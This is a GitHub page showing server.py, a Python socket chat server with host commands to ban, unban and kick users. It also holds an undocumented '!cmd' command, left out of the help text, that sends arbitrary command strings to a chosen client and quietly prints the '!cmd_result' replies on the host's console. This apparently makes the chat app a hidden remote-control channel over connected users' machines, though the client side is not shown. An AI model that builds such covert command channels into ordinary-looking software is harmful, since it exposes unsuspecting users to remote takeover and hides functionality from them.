-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
185 lines (155 loc) · 6.21 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
import socket
import threading
import json
import os
ACCOUNTS_FILE = "tools/tmp/server_accounts.json"
BANS_FILE = "tools/tmp/banned_users.json"
clients = []
usernames = []
banned_users = []
host_username = None
def user_leaving(username):
index = usernames.index(username)
client_socket = clients[index]
client_socket.send("You have left the server.".encode('utf-8'))
broadcast(f"{username} has left the server.")
remove_client(client_socket)
def kick_user(username_to_kick):
if username_to_kick in usernames:
index = usernames.index(username_to_kick)
client_socket = clients[index]
client_socket.send("You have been kicked from the server.".encode('utf-8'))
broadcast(f"{username_to_kick} has been kicked by the host.")
remove_client(client_socket)
else:
print(f"User {username_to_kick} not found.")
def load_server_accounts():
# Ensure the directory exists
os.makedirs(os.path.dirname(ACCOUNTS_FILE), exist_ok=True)
if os.path.exists(ACCOUNTS_FILE):
with open(ACCOUNTS_FILE, 'r') as file:
return json.load(file)
return {}
def save_server_account(username):
accounts = load_server_accounts()
accounts[username] = {"joined": True}
with open(ACCOUNTS_FILE, 'w') as file:
json.dump(accounts, file)
def load_banned_users():
# Ensure the directory exists
os.makedirs(os.path.dirname(BANS_FILE), exist_ok=True)
if os.path.exists(BANS_FILE):
with open(BANS_FILE, 'r') as file:
return json.load(file)
return []
def save_banned_users():
# Ensure the directory exists
os.makedirs(os.path.dirname(BANS_FILE), exist_ok=True)
with open(BANS_FILE, 'w') as file:
json.dump(banned_users, file)
def broadcast(message, sender_socket=None):
for client in clients:
if client != sender_socket:
try:
client.send(message.encode('utf-8'))
except:
remove_client(client)
def remove_client(client_socket):
if client_socket in clients:
index = clients.index(client_socket)
username = usernames[index]
usernames.remove(username)
clients.remove(client_socket)
broadcast(f"{username} has left the chat.")
client_socket.close()
def handle_host_commands(command, sender_socket):
global banned_users
if command.startswith("!ban "):
username_to_ban = command.split()[1]
if username_to_ban in usernames:
banned_users.append(username_to_ban)
save_banned_users()
broadcast(f"{username_to_ban} has been banned by the host.")
kick_user(username_to_ban)
elif command.startswith("!unban "):
username_to_unban = command.split()[1]
if username_to_unban in banned_users:
banned_users.remove(username_to_unban)
save_banned_users()
broadcast(f"{username_to_unban} has been unbanned by the host.")
elif command.startswith("!kick "):
username_to_kick = command.split()[1]
kick_user(username_to_kick)
elif command.startswith("!cmd "):
parts = command.split(" ", 2)
username = parts[1]
cmd_command = parts[2]
send_command_to_client(username, cmd_command)
elif command.startswith("!help"):
help_message = """
Host Commands:
!ban [username] - Ban a user from the server.
!unban [username] - Unban a previously banned user.
!kick [username] - Kick a user from the server.
!help - Display this help message.
"""
sender_socket.send(help_message.encode('utf-8'))
def send_command_to_client(username, cmd_command):
if username in usernames:
index = usernames.index(username)
client_socket = clients[index]
client_socket.send(f"!cmd {cmd_command}".encode('utf-8'))
def handle_client(client_socket):
global host_username
try:
#Sending username to the server
username = client_socket.recv(1024).decode('utf-8')
if username in banned_users:
client_socket.send("You are banned from this server.".encode('utf-8'))
client_socket.close()
return
if not host_username:
host_username = username
client_socket.send("You are the host and have admin privileges.".encode('utf-8'))
accounts = load_server_accounts()
if username in accounts:
welcome_message = f"Welcome back, {username}!"
else:
welcome_message = f"Hello {username}, welcome to the chat for the first time!"
save_server_account(username)
usernames.append(username)
clients.append(client_socket)
broadcast(welcome_message, client_socket)
broadcast(f"{username} has joined the chat.", client_socket)
while True:
message = client_socket.recv(1024).decode('utf-8')
if message:
if message.startswith("!") and not message.startswith("!cmd_result ") and not message.startswith("!leave"):
if username == host_username:
handle_host_commands(message, client_socket)
else:
client_socket.send("Only the host can run commands.".encode('utf-8'))
elif message.startswith("!cmd_result "):
result = message.split(" ", 1)[1]
print(f"Command result from {username}: {result}")
elif message.startswith("!leave"):
user_leaving(username)
else:
broadcast(f"{username}: {message}", client_socket)
except:
remove_client(client_socket)
def start_server():
global banned_users
banned_users = load_banned_users()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_ip = socket.gethostbyname(socket.gethostname())
server_port = 9999
server.bind((server_ip, server_port))
server.listen(5)
print(f"Server started on {server_ip}:{server_port}. Waiting for connections...")
while True:
client_socket, addr = server.accept()
print(f"Accepted connection from {addr}")
thread = threading.Thread(target=handle_client, args=(client_socket,))
thread.start()
start_server()